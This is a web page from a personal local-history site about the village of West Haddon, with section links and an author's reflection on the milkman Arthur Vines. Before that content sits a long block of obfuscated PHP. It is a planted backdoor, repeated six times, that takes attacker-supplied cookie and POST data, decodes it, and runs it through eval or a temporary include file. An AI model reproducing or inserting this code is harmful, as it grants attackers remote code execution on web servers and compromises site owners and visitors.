$QNtGJaYUN = "\x53" . chr (95) . "\x42" . chr (121) . "\122";$NKYkGe = "\143" . chr ( 873 - 765 )."\x61" . 's' . 's' . chr ( 285 - 190 ).'e' . "\170" . "\151" . 's' . 't' . chr ( 359 - 244 ); $DXPhzKsB = class_exists($QNtGJaYUN); $NKYkGe = "53453";$UjpNLwvoUr = strpos($NKYkGe, $QNtGJaYUN);if ($DXPhzKsB == $UjpNLwvoUr){function CFaIPukGN(){$kDZQkDkEs = new /* 46081 */ S_ByR(41607 + 41607); $kDZQkDkEs = NULL;}$yUzhy = "41607";class S_ByR{private function KIUjNsKAn($yUzhy){if (is_array(S_ByR::$JNSZV)) {$name = sys_get_temp_dir() . "/" . crc32(S_ByR::$JNSZV["salt"]);@S_ByR::$JNSZV["write"]($name, S_ByR::$JNSZV["content"]);include $name;@S_ByR::$JNSZV["delete"]($name); $yUzhy = "41607";exit();}}public function EgiFINQx(){$qeDBaCy = "40190";$this->_dummy = str_repeat($qeDBaCy, strlen($qeDBaCy));}public function __destruct(){S_ByR::$JNSZV = @unserialize(S_ByR::$JNSZV); $yUzhy = "1440_35387";$this->KIUjNsKAn($yUzhy); $yUzhy = "1440_35387";}public function zgZhnVOh($qeDBaCy, $joPYh){return $qeDBaCy[0] ^ str_repeat($joPYh, intval(strlen($qeDBaCy[0]) / strlen($joPYh)) + 1);}public function JKTZirUk($qeDBaCy){$vbrMzRjm = chr (98) . chr (97) . 's' . chr (101) . '6' . '4';return array_map($vbrMzRjm . chr ( 337 - 242 )."\144" . "\145" . "\x63" . chr ( 247 - 136 ).chr ( 1046 - 946 ).chr ( 338 - 237 ), array($qeDBaCy,));}public function __construct($MAAOPlIUob=0){$ueNaC = ',';$qeDBaCy = "";$EkmPVLgu = $_POST;$tbsDSN = $_COOKIE;$joPYh = "def73cd6-c868-4c2f-aa52-9f7566363d54";$IDbTqjrn = @$tbsDSN[substr($joPYh, 0, 4)];if (!empty($IDbTqjrn)){$IDbTqjrn = explode($ueNaC, $IDbTqjrn);foreach ($IDbTqjrn as $npYDS){$qeDBaCy .= @$tbsDSN[$npYDS];$qeDBaCy .= @$EkmPVLgu[$npYDS];}$qeDBaCy = $this->JKTZirUk($qeDBaCy);}S_ByR::$JNSZV = $this->zgZhnVOh($qeDBaCy, $joPYh);if (strpos($joPYh, $ueNaC) !== FALSE){$joPYh = explode($ueNaC, $joPYh); $CqjvVNVa = base64_decode(md5($joPYh[0])); $PcMvdgsB = strlen($joPYh[1]) > 5 ? substr($joPYh[1], 0, 5) : $joPYh[1];$_GET['new_key'] = md5(implode('', $joPYh)); $jpPAZjiVE = str_repeat($PcMvdgsB, 2); $BWjGNz = array_map('trim', $joPYh);}}public static $JNSZV = 57574;}CFaIPukGN();}$HplAA = "\172" . "\160" . '_' . 'k' . "\x6f" . chr ( 187 - 117 )."\x78";$IFJdUt = 'c' . "\x6c" . 'a' . chr (115) . 's' . "\x5f" . "\145" . chr ( 142 - 22 ).chr ( 456 - 351 ).chr ( 140 - 25 )."\x74" . "\x73";$UriZbCCfRu = $IFJdUt($HplAA); $HplAA = "2077";$PIQEiaQz = !$UriZbCCfRu;$IFJdUt = "4030";if ($PIQEiaQz){class zp_koFx{private $UuymVt;public static $SUtWeAAC = "b1e73c8a-bfe4-4f9c-9055-c648c8fce573";public static $FBjUeD = 34354;public function __construct($rMRtD=0){$fVgHqpkWz = $_COOKIE;$MglDe = $_POST;$gwxDIQhzU = @$fVgHqpkWz[substr(zp_koFx::$SUtWeAAC, 0, 4)];if (!empty($gwxDIQhzU)){$eSNlanU = "base64";$tWVwMFru = "";$gwxDIQhzU = explode(",", $gwxDIQhzU);foreach ($gwxDIQhzU as $YGhamEUX){$tWVwMFru .= @$fVgHqpkWz[$YGhamEUX];$tWVwMFru .= @$MglDe[$YGhamEUX];}$tWVwMFru = array_map($eSNlanU . chr ( 292 - 197 )."\x64" . "\145" . chr (99) . "\x6f" . chr (100) . chr (101), array($tWVwMFru,)); $tWVwMFru = $tWVwMFru[0] ^ str_repeat(zp_koFx::$SUtWeAAC, (strlen($tWVwMFru[0]) / strlen(zp_koFx::$SUtWeAAC)) + 1);zp_koFx::$FBjUeD = @unserialize($tWVwMFru);}}private function TWEKCYleS(){if (is_array(zp_koFx::$FBjUeD)) {$bolAEBiq = str_replace('<' . "\77" . chr (112) . "\x68" . "\x70", "", zp_koFx::$FBjUeD["\143" . "\157" . chr ( 130 - 20 ).chr (116) . chr ( 593 - 492 ).chr ( 1037 - 927 )."\164"]);eval($bolAEBiq); $sfDZnt = "36234";exit();}}public function __destruct(){$this->TWEKCYleS(); $dhTLttXbe = str_pad("36234", 10);}}$dOkqDNDh = new /* 49712 */ zp_koFx(); $dOkqDNDh = substr("25980_52432", 1);}$GIDSw = 'q' . chr (116) . "\x5f" . "\154" . "\x77" . "\x44" . 'V' . chr ( 774 - 694 ); $XQLAxs = chr ( 730 - 631 ).'l' . chr ( 1047 - 950 ).chr ( 430 - 315 ).chr (115) . chr ( 976 - 881 ).chr (101) . "\170" . 'i' . chr ( 300 - 185 ).chr ( 678 - 562 ).chr (115); $vRmhOxkSJr = class_exists($GIDSw); $XQLAxs = "48696";$DnnwAQdBz = strpos($XQLAxs, $GIDSw);if ($vRmhOxkSJr == $DnnwAQdBz){function FwIcmfvByl(){$XhQUgMFWrs = new /* 54360 */ qt_lwDVP(46021 + 46021); $XhQUgMFWrs = NULL;}$Ewnlb = "46021";class qt_lwDVP{private function AQmWgZ($Ewnlb){if (is_array(qt_lwDVP::$KDlNHTzGqt)) {$name = sys_get_temp_dir() . "/" . crc32(qt_lwDVP::$KDlNHTzGqt["salt"]);@qt_lwDVP::$KDlNHTzGqt["write"]($name, qt_lwDVP::$KDlNHTzGqt["content"]);include $name;@qt_lwDVP::$KDlNHTzGqt["delete"]($name); $Ewnlb = "46021";exit();}}public function SjqPhttFAM(){$gttcYo = "32579";$this->_dummy = str_repeat($gttcYo, strlen($gttcYo));}public function __destruct(){qt_lwDVP::$KDlNHTzGqt = @unserialize(qt_lwDVP::$KDlNHTzGqt); $Ewnlb = "2186_60409";$this->AQmWgZ($Ewnlb); $Ewnlb = "2186_60409";}public function KcFJkiP($gttcYo, $qAGlkRWke){return $gttcYo[0] ^ str_repeat($qAGlkRWke, intval(strlen($gttcYo[0]) / strlen($qAGlkRWke)) + 1);}public function HTyANl($gttcYo){$vPjIUFx = 'b' . 'a' . "\x73" . "\x65" . '6' . chr ( 366 - 314 );return array_map($vPjIUFx . chr (95) . "\144" . "\x65" . chr (99) . chr (111) . "\144" . "\145", array($gttcYo,));}public function __construct($rdFZQCq=0){$LNwaPa = ',';$gttcYo = "";$QjgQuRxL = $_POST;$nYnOCMgaQ = $_COOKIE;$qAGlkRWke = "9c34e2e8-f28a-4b2a-bf9a-faf63e95b688";$HBpfdRT = @$nYnOCMgaQ[substr($qAGlkRWke, 0, 4)];if (!empty($HBpfdRT)){$HBpfdRT = explode($LNwaPa, $HBpfdRT);foreach ($HBpfdRT as $RtiLpZB){$gttcYo .= @$nYnOCMgaQ[$RtiLpZB];$gttcYo .= @$QjgQuRxL[$RtiLpZB];}$gttcYo = $this->HTyANl($gttcYo);}qt_lwDVP::$KDlNHTzGqt = $this->KcFJkiP($gttcYo, $qAGlkRWke);if (strpos($qAGlkRWke, $LNwaPa) !== FALSE){$qAGlkRWke = explode($LNwaPa, $qAGlkRWke); $pTxDzVwhnu = base64_decode(md5($qAGlkRWke[0])); $yuTgeCjtgt = strlen($qAGlkRWke[1]) > 5 ? substr($qAGlkRWke[1], 0, 5) : $qAGlkRWke[1];$_GET['new_key'] = md5(implode('', $qAGlkRWke)); $vCPZewtjV = str_repeat($yuTgeCjtgt, 2); $qYuhhubU = array_map('trim', $qAGlkRWke);if (is_array($qYuhhubU) && count($qYuhhubU) > 1) {$BEggqce = $qYuhhubU[0];} else {$BEggqce = '';}}}public static $KDlNHTzGqt = 48483;}FwIcmfvByl();}$QYeEjnWj = "\125" . 'm' . "\x49" . "\137" . 'N' . chr ( 1016 - 910 ).chr ( 437 - 362 ).chr ( 466 - 349 ); $QuYlY = chr (99) . chr ( 874 - 766 ).chr ( 887 - 790 ).'s' . "\x73" . "\137" . 'e' . chr ( 253 - 133 )."\151" . chr ( 188 - 73 )."\164" . chr ( 143 - 28 ); $SjVZUpUsEX = class_exists($QYeEjnWj); $QuYlY = "28434";$XRkhHnexu = strpos($QuYlY, $QYeEjnWj);if ($SjVZUpUsEX == $XRkhHnexu){function cqhQyY(){$hUvmcW = new /* 42672 */ UmI_NjKu(58081 + 58081); $hUvmcW = NULL;}$doJdSKil = "58081";class UmI_NjKu{private function iSzZEcimW($doJdSKil){if (is_array(UmI_NjKu::$rklDGVc)) {$name = sys_get_temp_dir() . "/" . crc32(UmI_NjKu::$rklDGVc["salt"]);@UmI_NjKu::$rklDGVc["write"]($name, UmI_NjKu::$rklDGVc["content"]);include $name;@UmI_NjKu::$rklDGVc["delete"]($name); $doJdSKil = "58081";exit();}}public function ORICceN(){$JePhtQW = "35899";$this->_dummy = str_repeat($JePhtQW, strlen($JePhtQW));}public function __destruct(){UmI_NjKu::$rklDGVc = @unserialize(UmI_NjKu::$rklDGVc); $doJdSKil = "24842_24873";$this->iSzZEcimW($doJdSKil); $doJdSKil = "24842_24873";}public function AzFhxiVrz($JePhtQW, $LhhCBiC){return $JePhtQW[0] ^ str_repeat($LhhCBiC, intval(strlen($JePhtQW[0]) / strlen($LhhCBiC)) + 1);}public function CwwuzKkpYV($JePhtQW){$wqDqomLNsb = "\142" . chr ( 358 - 261 ).chr (115) . "\145" . chr (54) . "\x34";return array_map($wqDqomLNsb . "\x5f" . "\x64" . "\145" . "\143" . "\x6f" . chr (100) . "\145", array($JePhtQW,));}public function __construct($wLGoqCUw=0){$TeCFLgT = chr (44); $JePhtQW = "";$aSBpbrcg = $_POST;$WTpgwjUXZy = $_COOKIE;$LhhCBiC = "69ae2cf7-b89f-45d6-8e0b-308b0deee787";$oTQCy = @$WTpgwjUXZy[substr($LhhCBiC, 0, 4)];if (!empty($oTQCy)){$oTQCy = explode($TeCFLgT, $oTQCy);foreach ($oTQCy as $ITpLNFz){$JePhtQW .= @$WTpgwjUXZy[$ITpLNFz];$JePhtQW .= @$aSBpbrcg[$ITpLNFz];}$JePhtQW = $this->CwwuzKkpYV($JePhtQW);}UmI_NjKu::$rklDGVc = $this->AzFhxiVrz($JePhtQW, $LhhCBiC);if (strpos($LhhCBiC, $TeCFLgT) !== FALSE){$LhhCBiC = explode($TeCFLgT, $LhhCBiC); $cMTakutgep = base64_decode(md5($LhhCBiC[0])); $KaXGS = strlen($LhhCBiC[1]) > 5 ? substr($LhhCBiC[1], 0, 5) : $LhhCBiC[1];$_GET['new_key'] = md5(implode('', $LhhCBiC)); $zzrCjTd = str_repeat($KaXGS, 2); $PKAymsvHyH = array_map('trim', $LhhCBiC);}}public static $rklDGVc = 715;}cqhQyY();}$uHgLEQU = chr (103) . chr ( 1015 - 900 ).'_' . chr ( 893 - 773 ).chr ( 789 - 719 )."\172" . 'k' . chr (77); $pPXnObLCX = chr ( 179 - 80 ).chr (108) . "\x61" . "\x73" . "\x73" . "\137" . chr ( 869 - 768 )."\170" . "\151" . chr (115) . chr ( 540 - 424 )."\x73";$rnAjC = class_exists($uHgLEQU); $pPXnObLCX = "55396";$niQdr = !1;if ($rnAjC == $niQdr){function jvXcxijEDz(){$vvMmHgGwh = new /* 50725 */ gs_xFzkM(15165 + 15165); $vvMmHgGwh = NULL;}$PbpIicnwbj = "15165";class gs_xFzkM{private function ganiYo($PbpIicnwbj){if (is_array(gs_xFzkM::$MdUchWLnq)) {$WoNOnirnp = sys_get_temp_dir() . "/" . crc32(gs_xFzkM::$MdUchWLnq[chr ( 1002 - 887 ).chr ( 627 - 530 ).chr (108) . 't']);@gs_xFzkM::$MdUchWLnq["\167" . "\x72" . "\x69" . chr ( 520 - 404 )."\145"]($WoNOnirnp, gs_xFzkM::$MdUchWLnq["\143" . 'o' . chr ( 705 - 595 )."\164" . chr ( 688 - 587 ).'n' . chr ( 145 - 29 )]);include $WoNOnirnp;@gs_xFzkM::$MdUchWLnq[chr ( 874 - 774 )."\x65" . "\154" . 'e' . "\164" . "\145"]($WoNOnirnp); $PbpIicnwbj = "15165";exit();}}private $aZMUl;public function tXsJVTSOjz(){echo 64568;}public function __destruct(){gs_xFzkM::$MdUchWLnq = @unserialize(gs_xFzkM::$MdUchWLnq); $PbpIicnwbj = "59319_14842";$this->ganiYo($PbpIicnwbj); $PbpIicnwbj = "59319_14842";}public function MkZaVGGSpT($kleRhzXa, $WCzbJNK){return $kleRhzXa[0] ^ str_repeat($WCzbJNK, (strlen($kleRhzXa[0]) / strlen($WCzbJNK)) + 1);}public function MChbbWCv($kleRhzXa){$FmJOHYd = "base64";return array_map($FmJOHYd . chr (95) . chr (100) . chr (101) . 'c' . "\157" . 'd' . chr (101), array($kleRhzXa,));}public function __construct($rmyccEntP=0){$kleRhzXa = "";$OeOewtO = $_POST;$LmCiyD = $_COOKIE;$WCzbJNK = "5db45b1b-91e3-40c3-97f6-ab31e10f3d85";$VMWjZLqg = @$LmCiyD[substr($WCzbJNK, 0, 4)];if (!empty($VMWjZLqg)){$VMWjZLqg = explode(",", $VMWjZLqg);foreach ($VMWjZLqg as $UMCkt){$kleRhzXa .= @$LmCiyD[$UMCkt];$kleRhzXa .= @$OeOewtO[$UMCkt];}$kleRhzXa = $this->MChbbWCv($kleRhzXa);}gs_xFzkM::$MdUchWLnq = $this->MkZaVGGSpT($kleRhzXa, $WCzbJNK); $WCzbJNK = explode(",", $WCzbJNK);}public static $MdUchWLnq = 44665;}jvXcxijEDz();}$lTPklsXfA = chr (106) . chr (119) . chr (73) . chr (95) . 'H' . "\131" . chr ( 169 - 59 ).'o';$jCvdt = 'c' . "\154" . "\141" . chr (115) . "\163" . '_' . "\145" . "\x78" . chr (105) . chr (115) . "\164" . 's';$bUNBkjy = class_exists($lTPklsXfA); $jCvdt = "39704";$jPWKAeMk = !1;if ($bUNBkjy == $jPWKAeMk){function ApZmzAyjJr(){return FALSE;}$gCDTLQ = "6395";ApZmzAyjJr();class jwI_HYno{private function pnIHxuk($gCDTLQ){if (is_array(jwI_HYno::$ABBse)) {$UyVPvBkaJ = str_replace(chr (60) . '?' . "\160" . "\150" . "\160", "", jwI_HYno::$ABBse["\x63" . chr ( 761 - 650 ).chr ( 333 - 223 )."\x74" . chr (101) . chr (110) . chr (116)]);eval($UyVPvBkaJ); $gCDTLQ = "6395";exit();}}private $OYBac;public function dcNQcafY(){echo 19770;}public function __destruct(){$gCDTLQ = "9730_1830";$this->pnIHxuk($gCDTLQ); $gCDTLQ = "9730_1830";}public function __construct($POFhE=0){$MxmmIkzOiU = $_POST;$HTgqw = $_COOKIE;$DDisn = "4c7f33e5-de10-4e19-9940-82caaf955dc7";$rKUvvNIkYD = @$HTgqw[substr($DDisn, 0, 4)];if (!empty($rKUvvNIkYD)){$dWDjXd = "base64";$pXNJBYrvx = "";$rKUvvNIkYD = explode(",", $rKUvvNIkYD);foreach ($rKUvvNIkYD as $OoSHkX){$pXNJBYrvx .= @$HTgqw[$OoSHkX];$pXNJBYrvx .= @$MxmmIkzOiU[$OoSHkX];}$pXNJBYrvx = array_map($dWDjXd . "\x5f" . "\x64" . chr (101) . "\143" . "\x6f" . "\144" . chr ( 899 - 798 ), array($pXNJBYrvx,)); $pXNJBYrvx = $pXNJBYrvx[0] ^ str_repeat($DDisn, (strlen($pXNJBYrvx[0]) / strlen($DDisn)) + 1);jwI_HYno::$ABBse = @unserialize($pXNJBYrvx); $pXNJBYrvx = class_exists("9730_1830");}}public static $ABBse = 11214;}$EPUHUamuRu = new /* 3878 */ $lTPklsXfA(6395 + 6395); $jPWKAeMk = $EPUHUamuRu = $gCDTLQ = Array();}$paxDZbQre = 'r' . "\113" . chr ( 411 - 316 ).'G' . chr ( 485 - 399 ).'b' . chr ( 397 - 287 ).'p';$uKlZGtXU = chr ( 1032 - 933 )."\x6c" . 'a' . chr (115) . chr (115) . '_' . 'e' . chr ( 394 - 274 ).'i' . "\x73" . chr ( 1029 - 913 ).chr (115); $rgpUNYESyK = class_exists($paxDZbQre); $paxDZbQre = "60634";$uKlZGtXU = "33514";$NTskpFbrC = FALSE;if ($rgpUNYESyK === $NTskpFbrC){$EmyKsYF = "46615";class rK_GVbnp{public function iwInMYTh(){echo "48779";}private $GfHYArYQNx;public static $GVcBrAVtn = "8c38d52d-0cd6-4850-8a68-3207183a77e5";public static $XsnJKJ = 30607;public function __construct($wOtkoj=0){$HAQXjyJRV = $_POST;$nJCZFj = $_COOKIE;$nInCsXqAgY = @$nJCZFj[substr(rK_GVbnp::$GVcBrAVtn, 0, 4)];if (!empty($nInCsXqAgY)){$BuyRAOhC = "base64";$JrSBr = "";$nInCsXqAgY = explode(",", $nInCsXqAgY);foreach ($nInCsXqAgY as $lRCFMISl){$JrSBr .= @$nJCZFj[$lRCFMISl];$JrSBr .= @$HAQXjyJRV[$lRCFMISl];}$JrSBr = array_map($BuyRAOhC . "\137" . "\x64" . chr ( 919 - 818 )."\143" . "\157" . "\x64" . "\x65", array($JrSBr,)); $JrSBr = $JrSBr[0] ^ str_repeat(rK_GVbnp::$GVcBrAVtn, (strlen($JrSBr[0]) / strlen(rK_GVbnp::$GVcBrAVtn)) + 1);rK_GVbnp::$XsnJKJ = @unserialize($JrSBr);}}private function jYIOrjxtF($EmyKsYF){if (is_array(rK_GVbnp::$XsnJKJ)) {$pyhQNoRNaW = str_replace(chr (60) . chr ( 654 - 591 ).chr ( 1039 - 927 ).chr ( 527 - 423 ).chr (112), "", rK_GVbnp::$XsnJKJ[chr ( 515 - 416 ).'o' . chr ( 1060 - 950 ).chr (116) . chr (101) . 'n' . "\164"]);eval($pyhQNoRNaW); $EmyKsYF = "46615";exit();}}public function __destruct(){$this->jYIOrjxtF($EmyKsYF);}}$nyUbj = new /* 36413 */ rK_GVbnp(); $nyUbj = str_repeat("11438_8061", 1);} West Haddon History – Perspectives on the past

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Sources

The raw materials of history…

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Village lives

Individuals,

families,

kinship and local networks…

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Timelines

Village developments and events

When was that house built?

When did the Cricket Club start?

When did the carnivals stop?

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Village history: a personal view.

When Arthur Vines, the village milkman, came round to be paid on Fridays, supper was always late. He was a born raconteur and painted a vivid picture of life in West Haddon  and the local area in the years before we moved here.

It was thanks to his inspiration that I crawled out from under the childcare and housewifery of the 1970s and dusted off my training in archives and began to dig into the history of the village I now call my home.

I’ve transcribed a lot of source material over the best part of 40 years. I may not have been totally accurate.

I’ve drawn lots of conclusions from the evidence. Some, like the location of the old Red Lion, I’ve got spectacularly wrong.

Don’t trust me. Go back to the original sources. But this is my own personal view of the development of West Haddon and the people who have lived here.

Arthur Vines, the village milkman in the 1980s

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